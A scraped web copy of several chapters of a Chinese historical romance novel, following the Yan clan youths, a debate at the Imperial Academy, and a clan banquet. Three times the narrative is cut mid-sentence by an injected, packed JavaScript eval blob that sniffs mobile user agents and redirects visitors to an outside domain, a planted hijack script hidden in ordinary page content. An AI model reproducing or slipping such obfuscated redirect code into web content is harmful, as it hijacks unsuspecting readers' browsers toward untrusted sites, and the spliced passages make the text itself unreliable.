颜笍一听便紧张地抓耳挠腮,颜箫站在他身侧,一下子便被他吸引了注意力,悄声问:“阿笍是不是没考好,怕被伯父抓了现行?” 颜笍哭丧着脸,“阿姐别再取笑我了,快帮我想想办法吧。” 颜箫“扑哧”一声笑出来,余光见前面的顾修昀似是侧头往这边瞥了一眼,忙又压低了声音,“伯父早晚要知道的,与其担心这个,不如好好想想如何解释。” 颜笍哀怨道:“我只是佛学一门没学好,其他都不算差,哎,黄历说我今日宜出行,怎么骗我呢……” 快要行到山门时,有人上前来报,称太常卿柳峻到访。国子学与太学隶属太常,虽颜煜和柳峻皆出身门阀,向来以礼相待,但毕竟分属上下级。 颜煜遣人将柳峻请到明伦阁,望向身后顾修昀和一众子侄却犯了难。 顾修昀适时开口,“祭酒请留步,我自行出去便可。” 颜笙也道:“伯父不必忧心我们,有九郎领路也是一样的。” 颜煜只好恭敬不如从命,又命人唤了国子博士来陪同几人一道出门,随后便匆匆返回明伦阁。 颜箫戳了戳颜笍的肩膀,小声道:“你瞧,黄历没骗你吧。” 才出山门,行至集贤亭,便撞见几个熟人。 柳文宣与柳文茵兄妹颜笙几人自是熟识,陆鸣澜是两人的表妹,算来也不是外人,可他们身侧的两个年轻郎君却从未见过。 颜箫和颜竽落在兄长身后,举起手中团扇,将面容遮住。 透过绡纱却能看到个影子,听颜笙与柳文宣交谈,这两人是柳文宣的堂弟,但比文茵年岁稍长。 颜笙恍然,“原是柳太常之子,幸会。”怪道柳峻这个时候来见颜煜,原来也是陪着自家子侄一同前来的。 颜箫一听是文茵的堂兄,倒也不需要守十分的礼,因此她便将团扇向下移了些,扇骨抵在鼻梁上,只露出一双水润杏眼,悄声打量着眼前人。 这两人一个着月白,另一个着靛青,虽穿着大相径庭,但身量和相貌却是如出一辙的相似,一个正与颜简交谈,另一个则是悄悄抬眸望,无意间恰对上颜箫的视线,怔了一瞬,又迅速移开。 想来这就是柳氏的双生子了。 颜箫一愣,不是为着那人稍显大胆的举动,而是惊讶于这世上竟真有如此相似的两人。 柳晏方才与那双杏眼对视上的一瞬,心跳竟莫名漏了两拍,连自家兄长说了什么都没听见。待那道视线从自己身上移开后,又悄悄将目光投了回去。 因有团扇遮面,他也只能看到一双眉眼,像建邺春日的朦胧细雨,初看温柔沉静,可方才那双杏眸直勾勾地望过来,被他发现时无辜地轻眨两下,倒教人怀疑这温柔沉静之下是否有个调皮促狭的笑。 柳晏不自觉红了耳尖。 安静立在一旁的顾修昀却将这一幕尽收眼底,他眸光微转,不动声色地移开眼,心下竟有些不愉,不知是这女郎勾人而不自知,还是因何缘故,怎么对谁都这样。 不过他对少男少女之间的眉眼官司不感兴趣,他那匹随他征战四方的大宛马正候在山门外无趣地打着响鼻。顾修昀与柳文宣和颜笙微微颔首,翻身上马离去。 15. 正始音 旬考名次于世家子而言并无他用,不过是看个热闹。中正官品评士人,虽也重才学品行,但首要的仍是家世门第,门第高则获高品。虽则中正官评议后会经由如今正势盛的司徒府复核批准,再送至吏部作选官的凭据,但九品官人法沿袭上百年,不是谁一朝一夕就能更正的。因而颜柳等人名为看榜,实则不过是换个地方闲谈,并未多停留。 慎斋堂的玄谈在申时开始,一行人从张榜处往慎斋堂走时,十九郎颜箬换好了新衣裳,正站在学舍外一块树下的石头上左顾右盼。 远远见到自家兄姐,他“扑通”从石头上蹦下来,迈开步子跑过去,挨个行礼,与颜笍如出一辙。 见到颜箫,他眼前一亮。不过阿姐身边有不认识的人,他不好凑上前去,跟在颜箫和颜竽后面憋了一路,终于在将要踏入慎斋堂前庭院时,溜到颜箫身边。 “阿姐,我什么时候才能见到二十四娘呀?”他前几日就听母亲陆氏说起太傅阿伯家得了个小阿妹,听说生得玉雪可爱,可惜他日日都要上学堂,还没有时间去看看这位阿妹。 颜焕和颜炳的府邸虽都在竹枝巷中,后院仅有一墙之隔,但正门离得并不近,平日里走动都要乘车轿,阿箬每日早出晚归,比颜焕还忙,哪得闲去颜炳府上呢。 瞧他可怜巴巴的,颜箫不禁莞尔,豪气干云道:“阿箬莫急,过几日阿筝满月宴时,我替你向祭酒告假,保准让你第一个见到阿筝,如何?” 一旁的柳文茵听了这话佯做不悦,“咦,十一娘不是答应了让我做第一个吗,怎么这么快就反悔啦?” 颜箫全然忘记方才已答应了文茵,“罪过罪过,险些让阿箬后来居上了。”俨然一副出卖亲妹的做派。 说话间几人已来到慎斋堂外,堂屋四面窗门大开,屋内挤挤挨挨簇拥着不少看热闹的学子,连廊道上都围满了人。 “今日这场玄谈有趣得很,对辩双方分别是太学和国子学的学子,大家早几日便得了消息,故而今日都来观战。”颜简解释道。 西窗外不远处有棵槐树,亭亭如盖,投下大片阴凉,站在树下,刚好可以透过西窗望到慎斋堂内,凉风阵阵,槐香盈鼻。 御街以西的瓦官寺远远地传来九响钟声,葛布纶巾的太学生端正坐在长条案的左侧,细绢缣巾的国子学生慢悠悠地在右侧落座。 这场玄谈以时下最焦灼的政事为题,讨论五兵部孙迁之罪是否应当重罚。 柳文宣猜也猜得到双方各自会说什么,不免笑道:“幸而顾司徒早已离开,否则场面恐怕不好看。” 颜笙侧目,视线略过学堂前几个明显不属于国子学的青衣侍从,不置可否。 太学生率先发言。 “孙迁在朝多年,却知法犯法,罪大恶极,毫无宽宥之理,应当严加惩处,以正朝纲!” “人非圣贤,孰能无过?知错能改,善莫大焉。若是连将功补过的机会都不予人,未免太过不近人情。”对方不甘示弱。 太学生又道:“可孙尚书之祸,祸起于利,若不能以儆效尤,正本清源,难保不会有人效仿,进而危及朝堂安定。” “孙尚书执掌五兵部多年,功在社稷,即便偶有过失也不该全盘否定。”国子学生也毫不退让。 “那依郎君看,难道不处置了不成?”太学中有人不满。 “自然不会。可若是因一件错事便抹杀数十年的功绩,今后何人还敢入仕为官?还如何能为朝廷,为陛下效力?” “某也同意。”另一国子学生也站了出来,“五兵部掌天下军政,若贸然重罚主官,使得边军不安,后果将不堪设想。这才是动摇国本,危及安定之所在。” “不若让孙尚书戴罪立功,功过相抵,也好过一味地重罚,伤了老臣一片忠心。” 双方各执一词,争论的不可开交,三个国子学生将对面太学生驳得哑口无言,一时间寒门学子落了下风。 颜箫越听越觉奇怪,“太学生所言不无道理,可听着国子学生却像是在胡搅蛮缠,这是为何?” 颜笙淡笑,他心知肚明,却不答话,柳文宣亦如是。 “不唯胡搅蛮缠,似乎还有意偏袒。”柳昭听出些门道,说得隐晦,“国子学生多出身士族,与寒门学子本就立场不同,故而观念不同也在情理之中。” 柳昭对上柳文宣赞许的目光,知道自己猜的不错,可当他望向双生兄弟时,却发现后者虽站在他身侧,但眸光飘然,不时投向前面杏黄衣衫的颜十一娘,全然没在听学堂内的这场对辩。 女郎的兄长皆在一旁,柳晏的注视未免有些冒犯,幸而那位颜十一娘未曾发觉,柳昭欲言又止几回,趁着众人闲谈时,轻咳了一声,柳晏这才回神。 双生兄弟之间有些话无需多言,柳昭一个暗含警示的眼神便足令柳晏惊醒。他面色微红,羞赧一笑,窈窕淑女,君子好逑。 慎斋堂内,窃窃私语的太学生仍没想出应对之策,正当博士欲拍案定胜负时,一个葛布纶巾的清瘦书生站了起来。 他声音清亮,“难道只顾老臣心,而不顾天下人的心吗?有错当罚,若置礼教于无物,令律法形同虚设,诸臣还如何使人信服?” 鸣澜听见这道声音,踮起足尖隔着窗向内探望,似是要将那书生的模样看清。 他一句话将被扯远的话题又带了回来,学堂中陷入静默,过了片刻,国子学中才站出一人,“此案内情复杂,非你我几句便能定案,自当是交由有司严加审理。” 他话一出口便觉不对,在众人的注视下匆忙补了一句,“……自然也不能严刑逼供,屈打成招,罪及无辜。” 他忙中出错,结果却弄巧成拙。对侧的太学生这会隐约琢磨出点意思来,互相交头接耳。 “士族官官相护,牵一发而动全身,故而有意偏袒。”范远恒轻声提点。 他年纪虽轻,却比寻常人看得透彻,在太学中一向有些名望,他一开口,旁人便如醍醐灌顶,恍然大悟。 方才那位国子学生也意识到自己失言,被周围几个同窗埋怨了几句,便愤而起身,试图给自己找回些面子。 “且问各位,孙尚书所犯之罪与谋逆相比,孰重孰轻?谋逆者尚能既往不咎,甚至身居高位,孙尚书不过是贪墨军饷、私贩军火,各位却锱铢必较,如此厚此薄彼,是何居心?” 谋逆二字一出,堂内堂外一片哗然。 围观者中不乏忠义之士,闻听此言,仿佛突然打通了任督二脉,立刻群情激奋。 颜笙再次望向那几个青衣侍从,却被义愤填膺的观众挡住了视线,只能看见青色的衣角。 范远恒再次起身,“正因谋逆者未曾受罚,才有五兵部今日之祸,岂不正是方才所说的若不能以儆效尤,有人效仿,则会危及朝政?” 这话掷地有声,对方一愣,顺着他的话自然而然地被带进沟里,“若要惩治孙尚书,必得一视同仁,先惩治所有有罪者。” 范远恒清瘦的面容上浮起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286348|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个笑来,“正有此意。” 一场玄谈以双方诡异的达成共识而结束,柳文宣摇头一叹,拍了拍柳昭和柳晏的肩膀。 颜箫眉头微蹙,手中团扇摇得飞快,“错了便是错了,便要受罚,和旁人有何关系?” “若女郎在慎斋堂中,看来是会支持太学生了?”柳晏终于鼓起勇气同她说了第一句话。 颜箫原以为旁边站着的是颜简,故而才畅所欲言,柳晏一开口,将她吓了一跳,却也直言。 她摇头,“有罪当罚,原是极简单的道理,何曾有过立功便可抵罪的说法,更没有因旁人一同犯错便法不责众的律法。” 她弯身问颜箬,“阿箬,去岁你打翻了二十一娘的琉璃屏,叔父可曾因为你送了二十一娘一只狸奴香囊,便没有责罚你?” 那只绣着狸奴的紫罗香囊花费了颜箬一个月的例银,他记忆犹新,使劲摇头,“不曾!” 颜箫摸摸他的脑袋,唇角微抿,一对浅浅梨涡便若隐若现,“孩童都明白的道理,为何一群饱学之士反而不懂?” * “这是颜十一娘说的?”顾修昀听到此处忍不住发问。 岳陆努力回想,“便是那位杏黄交领,身量高挑,头发乌黑,眼睛又大又亮,像是会说话似的……” 顾修昀幽幽抬眸。 岳陆自知多言,干笑两声,“应当就是颜十一娘吧。” 顾修昀拇指摩挲着茶盏,沉默不语。那只金镶绿松石指环偶尔碰在茶盏上,发出笃笃的轻响。岳陆抬眼偷觑他,犹豫要不要把自己发现柳晏多看了颜十一娘好几眼的事情说出来。 “郎主在想什么?” 顾修昀长指轻摇茶盏,慢声道:“士族把持朝政,终归不是长久之计。” 原来他没在想那颜十一娘,岳陆遗憾没能将自己的新发现告诉郎主。 不怪他多想,郎主午后未能有机会亲临慎斋堂听玄谈,却很是关注,特留了人在国子学中记录学子言行。可他转述过后,郎主却不置一词,反而是对颜家和柳家的几位郎君女郎的交谈更好奇,似乎还有些惊讶。 他自然就认为郎主是在想那位女郎。 啧,郎主来了建邺后愈发叫人猜不透了。 他瞥了一眼窗外,月色从花窗的缝隙漏了进来,更深露重,他该提醒郎主歇下了。 正要开口,忽而门外有人来报,“郎主,门下省张侍郎求见。” 岳陆瞪大了眼,替顾修昀问道:“现在?” “正是,张侍郎正在二门外候着。” 顾修昀终于放下茶盏,“让他进来吧。” 不多时,下人引着张培兴自浓重夜色中前来。他进了顾修昀的书房,恭敬行礼。 顾修昀向后靠在凭几上,双手交叠,淡声开口,“张侍郎漏夜前来,所为何事?” 张培兴头皮发硬,觉得顾修昀的目光似能穿透他的皮囊,直射内心,他踟蹰片刻,掀起眼皮看了旁边岳陆一眼。 岳陆正竖着耳朵等他发言呢,不承想自己成了该避嫌的那个,眉毛一跳,对上顾修昀的眼神,不情不愿地退了出去。 房门在张培兴身后轻轻阖上,待脚步声走远,他似下定了某种决心,“扑通”一声,在顾修昀面前跪下。 “下官有罪,请司徒责罚!” 顾修昀唇角轻勾,语气波澜不惊,“若是为孙迁一事,侍郎便起来说话罢。” 张培兴浑身一震,不可置信地抬头。 16. 满月宴 颜氏的满月宴人人瞩目。 颜箫晨起时,窗外春雨正盛,雨珠紧锣密鼓地打在西窗下的芭蕉叶上。西窗向外支起,雨水未能借机稍入窗内,只好不甘心地掀起泥土中的湿气,借着窗缝钻进了干爽的厢房。 颜箫跽坐在西窗前,任由润秋为她梳妆。她困得眼睛都要阖上了,勉力支撑着让自己不倒在妆台上,润秋无法,只得在她后面放个凭几让她靠着。 染春正在整理她今日的衣裙,上着碧青色大袖衫,下身藤黄云白间色裙,见颜箫头一点一点的,便笑着与她闲聊,试图驱散些困意。 “昨日陆家小郎送来了东西,说是给二十四娘的满月贺礼,是阿荣亲自送来的,足有三大箱,除了宫里送来的,谁也没有陆小郎送的多。娘子还没得闲看上一眼呢。” 颜箫“唔”了一声,声音含混,“赶在昨日送来的,定是一路车马劳顿,怎的没让阿荣歇几日再上路?” “他说要赶着回去向他家郎君道平安呢,只吃了几口茶便回去了。” 颜箫闭着眼,“他总是能想得这般周到。” 这个“他”显然说的不是阿荣,染春和润秋对视一眼,抿嘴轻笑。 江左旧俗,孩童满月后,便要设祭享祀神祖以求庇佑,还要为孩童剃满月头,将落下的胎发挂在堂屋高处。 满月礼无需宾客观礼,祠堂中只有颜氏族人,因颜炳之父旧年间便已故去,二十四娘便由颜煜之父抱着进入祠堂。小家伙并不知今日是什么特殊的日子,却十分乖巧,安静地蜷在堂祖怀中,好奇地打量着周围的人。 二十四娘颜筝是南渡至建邺的颜氏分支和琅琊祖宅的颜氏本家同辈之中最年幼的一个,生得乖巧可爱,人人都喜欢过来逗弄两下。 一时礼毕,檀氏与两位妯娌陆氏和李氏在一处交谈,颜煜之妻李氏膝下两子,并未得女,见了阿筝好生羡慕。 “阿檀都有十一娘了,还不够,不如将阿筝分给我养。” 檀氏掩口轻笑,“阿嫂这话霸道,怎么不见去抢阿陆家的二十一娘。” 陆氏仿佛抓住救命稻草,“阿嫂快将阿箢领走罢,这小家伙近来正是猫嫌狗憎的年纪,日日和十九郎拌嘴,幸而阿箬去了国子学读书,不然家里整日没个安生。” 正说话间,便见一个小小的身影跑来跑去,一刻也不得闲。一时凑在阿筝旁边好奇地打量,一时又去瞧窗前燃着的博山炉,这会儿听见陆氏提起她的名字,睁大眼在屋内找了一圈,终于发现了陆氏和两位婶娘,又“蹬蹬蹬”地跑了过来。 “阿娘在说我什么?”六岁的小女郎精明得很,陆氏又不是真的嫌她,笑眯眯地擦去她嘴角的碎屑,“说阿箢活泼好动,可爱呢。” 李氏将阿箢抱在膝上,“阿箢这是偷吃什么去啦?” “粉蒸酥酪。”婶娘一向温柔,颜箢窝在她怀中,乖乖回答。 颜箢年纪小,今日起的又早,估摸着早就饿了,后院的庖厨下备了糕饼,檀氏让人去寻了颜箫来。 颜箫正听颜竽讲她和宁家三郎,听得她捂着脸直呼酸倒了牙,结果被檀氏叫去时,又听到李氏说起沈家表妹的事。 “灵娘也是个爱促狭的,前些日来信托我替她掌眼,还说什么‘知道阿嫂家中都是小郎君,对建邺的郎君们必定更加了解。不如替清如相看一番,将来清如若是能嫁到建邺,便让她做阿嫂的女郎。’”李氏说这话时故作嗔怪,“我是不愿生了,不然高低生个女郎,也好过看你们眼馋。” 颜灵是颜煜胞妹,嫁与吴兴太守沈明,生有一女沈清如,视作掌上明珠,时年十五,也正是要议亲的年纪。 颜箫竖着耳朵听,檀氏瞧见了她,招呼她过来。 “见过两位婶娘。”颜箫乖巧行礼。 李氏笑道:“阿箫个头窜得快,都长这么高了。” 檀氏道:“正宴还早,阿箫,你带着二十一娘去东厢房用些糕饼。” 颜箫没动,取下腰间佩囊,掏呀掏,从中掏出两块胶牙饧来,递到颜箢面前,“这是浸了青梅汁的,这是浸桃汁的,阿箢要吃哪个?” 青梅味酸,颜箢摸走了浸桃汁的。 胶牙饧是年尾送灶神时会吃的一种饴糖,因食之黏牙,只有小孩子爱吃。 檀氏瞠目结舌的看着一大一小咧着嘴咬胶牙饧,又好气又好笑,一点颜箫脑门,“你都多大了,还随身带着这个。” 颜箫“嘿嘿”两声,“女儿也饿嘛。” 一块胶牙饧是不够的,颜箫弯身牵起颜箢的小手,“阿姐再带阿箢去吃菱粉糖糕好不好?” 颜箢眼睛一亮,重重点头。 屋外雨还在下,颜箫一手撑把竹骨伞,一手牵着颜箢。路过窗下时,正听见李氏问陆尚书家的小郎君何时归京,陆氏不知答了句什么,李氏又笑道:“本觉得陆小郎君与清如年纪相配,两人又是表兄妹,这下一看,倒不能将陆小郎说与清如了。” 雨落在瓦当上,屋内的说话声听不真切,颜箫没听到最后一句,她一时有些感叹,阿竽和清如都比她年纪小,竟都比她先一步议亲。 怪了,她的如意郎君去哪儿了? * 顾修昀到竹枝巷时,宾客已陆续到访。 雨势稍缓,微朦细雨如同撒落空中的银针,似乎不必撑伞,可贵人们不愿让雨打湿发梢,仍乘着油壁车,蔓延至秦淮河畔的队伍中,只有他一人独自驭马而来。 骑马不便着褒衣博带,他一身天青色箭袖胡服,墨发高束,发尖随着动作上下摇摆。他不耐撑伞,但一路过来,雨丝仍打湿了他的衣衫,将天青色氤成深浅不一的湖水蓝,远望去像是被晕染的画卷。 他在太傅府门前翻身下马,颜家的仆从被门前连绵不绝的伞面挡了视线,一时没看见他,他也不在意,径自将马牵到巷口树下。 树下站着个清瘦的年轻郎君,葛布白纶巾,同样未撑伞,正仰头看着太傅府的门楣,和门口络绎不绝的达官显贵。 察觉到有人近前,那人回首,“顾司徒?” 顾修昀瞧他眼熟,辨了片刻,才认出来,“范郎君。” 今岁是头一次施行太学与国子学联考,亦是首次,允许太学前三名入学国子学。放榜后,予瑢和他在太极殿接见了三位杀出重围的太学学子,范远恒名列榜首,他有些印象。 范远恒想来并未收到颜府满月宴的请帖,不知为何却在门口观望。顾修昀不欲攀谈,他抬头望了望,见一株梨树将枝桠伸出院墙,便抬手折下一枝,扯去粗枝,喂给他那匹玄中带赤的大宛马。 “顾司徒不拴马么?”范远恒好奇问。 “不必。”他这马跟他许久,颇通人性,“我不在,他不会乱跑。” 范远恒浅笑着看他动作,“顾司徒驭马有方,便是台城中专司驭马的官吏都难望顾司徒项背。” 顾修昀手下一顿,抬眸打量他片刻。 “观范郎君谈吐,不似出身寒门。” 范远恒一怔,意识到自己失言,“我……草民有一同乡,曾在长春宫做内侍,后来先帝登基,大赦天下,他便出宫返乡了,草民跟着他长了不少见识。” 顾修昀没说话,似乎不是很在意。他喂过了马,同范远恒一颔首,便与他错身,抬步向太傅府正门而去。 范远恒悄悄松了口气,望着他背影出神。太傅府门前仍门庭若市,整个建邺的士族门阀云集于此,都是颜太傅的座上宾,必定没人像他一样,连请帖都未曾收到,只能站在门前仰望。 范远恒摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286349|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摇头,转身往回走。 “还要本郡主等多久?调头,我要回府!”忽然路中央一顶车轿内传出一声娇叱,将范远恒吓了一跳。 “殿下别说气话了,太傅府给我们送了请帖,岂能不去?下了颜氏的颜面,便是公主殿下也要生气的。” 车帘被撩起,一个年轻女郎从窗内探出头来,引颈望向前方堵塞的车马。她生得不差,但柳眉倒竖,凤目含嗔,令人望而生畏。 车下的侍女也被吓了一跳,忙劝她,“殿下消消气,已让人去前面引路了。” 没办法,这是琅琊颜氏的宴席,宾客云集堵在门口也是必然的,她又不愿下车走过去,气也无用,更不敢真的离开,只好坐回车中等待。 视线收回时,只一眼,她便望见了路侧一位未撑伞的年轻郎君,正欲放下车帘的手又停住。 那位郎君葛布白纶巾,一看便知出身寒门,相貌却极清隽斯文。郡主虽是郡主,平日见到的年轻郎君却不多,如此容貌的更是少见,一时有些出神。 范远恒对上郡主的视线,露出个温和的笑意。 郡主面色一红,忙忙放下车帘坐回车中,隔绝了那道视线。 车中几个侍女还在思索着怎么劝说她稍微息怒,却见自家郡主向外看了一眼后便神色骤变、面带红晕,几人不明所以,面面相觑。 这是气到失语了,还是不生气了? 早已忘记要生气的郡主很快便为她们解惑,“去查查他是谁,明日之前告诉我。” * 太傅府的花园占地极大,与台城北侧的皇家园林华林园相比有过之而无不及。池边两行疏柳,斜斜迎风,竹篱内植了梨与杏与桃,各色花瓣被雨浇打得落了满地,枝头上却缀了更多,丝毫不见颓势。 春江水暖,闲鸭三三两两聚在一起,偶尔叨两下飘落池中的落花,发觉不是食物,又一头扎进荷叶底下。 春色在院中盛放。 几位女郎正坐在水榭中赏雨。 “听闻前几日国子学中的对辩甚是精彩,可惜我未曾亲临。”杜蕴容颇有些遗憾,“你们去了没?快和我说说。” 檀止摇头,“我没去。” “说是在对辩,我看倒不如说是吵架。”柳文茵抿唇一笑,“不过我觉得挺有趣,下月是不是还有?” “未必。”杜蕴容神秘兮兮地摇头。 “为何?” “听我阿父说,似乎是因国子学与太学旬考一事,这几日和顾司徒有些意见相左。”朝政之事杜景从不避讳杜蕴容,什么事她都听了一耳朵,“两座学府本就是顾司徒力主兴建的,若在此事上纠缠不休,往后会如何,谁也不知道。” 又是顾司徒,颜箫腹诽,他怎么好似要和全天下人都过不去似的。 陆鸣澜道:“不过我听说近日有云游的僧人在瓦官寺讲学,说的都是前朝轶事,听起来也甚是有趣呢。” “有这事?”颜箫来了兴致,“瓦官寺的素斋向来不错,改日我也去尝尝,顺道看看是何方游僧。” 颜箢乖乖坐在颜箫旁边,仰着头左看看右看看,一双眼里盛满了疑惑,初时还能聚焦在颜箫身上,渐渐地眼神便失了焦,望着天空一动不动。 她这幅呆若木鸡的样子被颜箫收进眼底,颜箫轻笑,附耳过来,“阿箢再等等,一会儿阿姐陪你去院子里捉迷藏好不好?” 颜箢快要阖上的眼皮又勉力睁开,摇晃着点了点头。 桌案上有豆饼,颜箫拈起一块,掰成两半递给阿箢,“来,吃些零嘴便不困了。” 正这时,柳文茵身边的侍女走了过来,同文茵低语几句。 文茵神色微讶,迟疑了片刻,起身低声对颜箫道:“阿颜,我先去更衣,失陪。” 17. 怨憎会 几位朝堂之中的肱股之臣正围坐在太傅府前院书房中,内院的丝竹管弦之声如潮水一般悄然漫过竹篱院墙,却怎么也漫不进书房,使得屋内的气氛有些剑拔弩张。 “今次三位太学生尚且不知能否适应国子学的学风,若再将国子学中末几名调入太学,我认为不妥。”说话的是太常卿柳峻。 “柳太常此言不无道理。”御史中丞梁旻也赞同,“若按司徒之意,国子学与太学鱼龙混杂,良莠不齐,岂非有违司徒兴办官学的初衷。” 这间书房的主人端坐在上首,面带笑意,捋着胡须看下面的人争论不休,而始作俑者却默不作声。 颜炳心里清楚,顾修昀前阵子提出让旬考中排前三的太学生入国子学,下一步便是反其道而行之,让末几名国子学生入太学,其中深意不言而喻。 他停私学兴官学便是开端,如今太学与国子学皆步入正轨,却因门第之隔,始终未能令二者并轨同行。于是他便要打破其中禁锢,最终目的是为瓦解门阀势力,选举寒门学子入朝为官,以防止他在朝中施政时被士族掣肘。 年轻人,太心急了些。 顾修昀却还觉得自己动作慢了。 诚然,朝廷南渡初时,皆因有几大家族掌舵才能稳居江左,可如今中州收复,四方已定,士族既凭阀阅在乱世中得掌权柄,便不会满足于做盛世之中俯首帖耳的忠臣良佐。 慎斋堂对辩中,连尚未弱冠之人都能被权欲蒙蔽了双眼,若让这些人把持朝政,岂非置天下苍生于不顾? 可人一旦拥有,就无法失去。一旦站上过权力之巅,谁人会轻易走下神坛?既没人愿意放权,那便需有人夺权。 “太傅意下如何?”几人争论不出结果,便将话头抛给颜炳。 “此事并非能在一日之内得出定论,还需改日与陛下详谈。”颜炳仍捋着胡须笑,“今日小女满月,寒舍备了薄酒,各位不妨先移步前院一聚?” 一场谈话不欢而散,顾修昀跟随众人走出书房。 薄雨暂歇,雾气却愈发浓重,似将万物笼上层轻纱,到处都水津津的。 顾修昀刚迈出院门,余光却瞥见竹篱院墙外闪过一道小小身影,他脚步稍缓,等其他人都走远了,才悄声调转方向。 原来是个小女郎,看上去六七岁的模样,扎着两个总角小髻,左顾右盼,像是在找什么人。 颜箢正和颜箫捉迷藏,仗着身量娇小在假山中东躲西藏,躲着躲着便不知到了哪里。周围静悄悄的,一个人也没有,连丝竹声都变得十分遥远。不过她知道自己并未离开阿伯的太傅府,因此倒也冷静,还有闲心嗦着颜箫给她的胶牙饧,抬头看看屋檐,又低头看看脚下的路,试图找到一些熟悉的痕迹。一不留神,却撞上了旁边的竹篱。 回头一瞧,却不是个竹篱,而是个天青色的衣袍,目光上移,一个好看的阿兄正垂眸凝她。 “对不住,我撞到你啦。”九郎说做人要有礼貌,撞到人是要道歉的。 好看阿兄眼里似乎有了一点笑意,却仍沉默不语。 “阿兄你好高呀。”颜箢丝毫不怯,仰着头嘿嘿一笑,“阿兄你真好看!” 他的手垂在身侧,刚好在她眼前,颜箢凑过去比了一下,唔,好大的手,似乎能将她的整张脸都盖住。 “阿兄可以带我去找我阿姐吗?”他是巨人吗?怎么也不说话。 没关系,巨人而已,不怕! 颜箢拉起他的手,轻轻一拽,竟就把巨人拽动了,还险些将自己摔个趔趄,多亏巨人反拽住她才使她没有一屁股坐在碎石子路上。 颜箢呆呆看着自己的手,她有这么大力? * 颜箫起初还能在湖石之间听到颜箢轻悄悄的脚步声和没被发现时吃吃的低笑声,后来便什么都听不到了。 她在假山中转来转去,唤了几声也不得回应,连她假装说自己要去吃糕饼都无人理睬,这才确信颜箢是跑丢了。 颜箫叹了口气,阿娘说族中几个弟妹里阿箢和她最像,只需轻轻一撒手,一刻钟内便能消失的无影无踪。 她幼时也有这般顽劣?颜箫不信。 太傅府花园中的假山是由会稽郡运来的太湖石堆叠而成的,须得高低错落,疏密相间才有韵味,人行其中便如置身迷宫,倒是很适合捉迷藏。 假山外的芭蕉后有道月洞门,穿过月洞门便是前院,难道阿箢跑到前院去了? 颜箫正犹豫要不要过去看看,忽见月洞门外闪过一人。 是庶母周氏身边的李娘子。周氏不能出席正宴,李娘子也该在周氏房中侍奉左右的,怎会出现在此? 这念头在颜箫脑海中一闪而过,李娘子已垂首福身,“十一娘日安。” “嗯。”颜箫颔首,“李娘子可见着二十一娘了?” “二十一娘?没有。”李娘子一愣,随即摇头。 她神色间略有躲闪,答了话便垂下头去,似乎极力避免与颜箫对视。颜箫心中疑惑,“李娘子有事?” “没有,没有。只是奴婢见识浅薄,未曾见过这般场面,一时激动,十一娘莫见怪。”李娘子连连摆手。 未曾见过?怎会?颜氏势盛,门生长随络绎不绝,太傅府更是每逢时令必设盛宴,今日排场不算最隆重,如何能让她紧张至此? 李娘子头垂得更低,好在颜箫不是刻薄的主子,虽看起来不大相信的样子,却还是轻声放她走了。 李娘子走后,颜箫唤来染春,神色凝重,“你去阿娘身边,让刘娘子今日多多留意。” 染春应声而去,颜箫正欲折返,忽听山石背面传来轻微的衣料窸窣声。 果然阿箢一听说要去吃糕饼便沉不住气了,她弯唇一笑,这下她可要捉住了不再撒开手。 为免打草惊蛇,她没敢出声,提着裙摆踮着脚尖,想悄声绕到阿箢背后。 假山后面确实站了一人,然而却并不是个矮小的身影,而是一个和颜箫身量差不多的女郎。 颜箫怔住,那位女郎也看到了她。 “文茵?你……” “十一娘,我……” 两人同时开口,颜箫却忽然抬手比了个噤声的手势。只因她看到,在柳文茵背后稍远处,一道玄色身影从葱郁的竹林间向这边移动。 不及多想,颜箫一把拉过文茵,将她带到了假山的另一侧。 文茵不明所以,却也没挣开,“十一娘,你……” “来的不是梁小郎!”颜箫低声打断她。 文茵脸色几变,眼中流露几分羞愧,“你知道了。” “我什么都不知道。”颜箫示意她透过湖石的孔隙向外看,那道玄色身影已至近前,停在芭蕉掩映的月洞门前,负手而立,似在等人。 “宁三郎?怎会是他?”文茵低声惊呼。 事已至此,还有什么不明白的。颜箫轻拍文茵的手,压低声音,“沿着院墙一直走,穿过回廊便可回到水榭中,你先回去,这里交给我。” 文茵还想说什么,但见颜箫神色坚定,只好听她的。 “十一娘,抱歉。”不管起因为何,这毕竟是在颜氏的宴席,说来也怪她意志不坚,轻易便被人蛊惑。 颜箫摇头,目送文茵的背影消失在粉墙内,唤来润秋,“你去外面守着,若看到谢娘子的侍女,定要拦住她。” 润秋睁大眼,谢娘子? “谢三娘身边的侍女,你认识的吧。” 润秋疑虑重重地走了。 宁三郎还立在月洞门外,显然还被蒙在鼓里。万一润秋没拦住人,平白令宁三郎出丑,也是颜箫不愿见的,应当让他尽快离开才是。 她走出假山的阴影,对着一片悄无声息的竹林笑了一下,扬声道:“才落了雨,谢三娘在此处赏花,不怕沾湿衣裳吗?” 庭中自然无人应答。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 